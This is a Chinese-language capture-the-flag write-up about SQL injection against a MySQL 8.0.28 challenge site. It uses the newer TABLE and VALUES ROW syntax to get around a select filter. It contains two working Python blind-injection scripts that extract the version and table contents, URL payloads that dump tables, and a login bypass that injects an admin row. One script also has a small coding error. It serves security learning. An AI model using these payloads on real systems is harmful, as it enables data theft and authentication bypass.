MySQL8 新特性注入:

    基础学习:

    https://juejin.cn/post/6997306070955720717

    这种注入有四个坑点(这篇文章)

    https://blog.csdn.net/rfrder/article/details/118726022

    判断 and 1 and 0 回显不同注入存在
    image.png

    准备union直接盲注的时候,发现禁用select,

    先用盲注脚本获得版本号等信息

    1. import requests
    2. req=requests.session()
    3. flag=""
    4. for j in range(1,500):
    5. sta=32
    6. end=128
    7. while sta < end:
    8. # print(sta,end)
    9. mid = (sta+end)//2
    10. payload=f"http://59.110.159.206:7010/?id=1 and (ascii(substr(version(),{j},1))>{mid})--+"
    11. res=req.get(url=payload)
    12. print(payload)
    13. if(end==sta+1):
    14. break
    15. if 'Dumb' in res.text:
    16. sta=mid
    17. else:
    18. end=mid
    19. print(mid)
    20. if min !=32:
    21. flag+=chr(mid+1)
    22. else:
    23. break
    24. print(flag)

    数据库为mysql,版本8.0.28

    可以用新特性注入

    判断字段数

    ?id=-1/**/union/**/values/**/row('1','2','3')
    ?id=-1/**/union/**/values/**/row('1',database(),'3')
    获得当前数据库名
    image.png
    用下面垃圾脚本一位位爆表名:
    有users,email,FLAG,表
    users表和FLAG表都可以爆出字段值
    但是email表死活爆不出来

    1. import requests
    2. req = requests.session()
    3. for i in '/0123456789:;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_.{|}~':
    4. payload = f"http://59.110.159.206:7010/?id=1 and (('{i}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 4,1))--+"
    5. # payload = f"http://59.110.159.206:7010/?id=1 and (('','')<(table users limit 6,1))--+"
    6. res = req.get(url=payload)
    7. print(payload)
    8. print(res.text)
    9. if 'Dumb' in res.text:
    10. print(i)

    [http://59.110.159.206:7010/?id=1](http://59.110.159.206:7010/?id=1) and (('{i}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 4,1))--+
    爆表名
    payload = f"[http://59.110.159.206:7010/?id=1](http://59.110.159.206:7010/?id=1) and (('','')<(table users limit 6,1))--+"
    爆user表的字段值(先要测出字段数)
    因为盲注爆不出emails的值,直接用
    table +limit来查邮箱:
    ?id=-1//union//table emails limit 7,1
    image.png
    获得源码:
    image.png
    下载源码有username 和passwd参数:
    image.png
    从user表爆出 admin,但是没有passwd,
    使用 values 创建一个新表
    username=-1' union values row("admin","admin","admin")%23&passwd=admin
    image.png
    覆盖密码为admin,直接出flag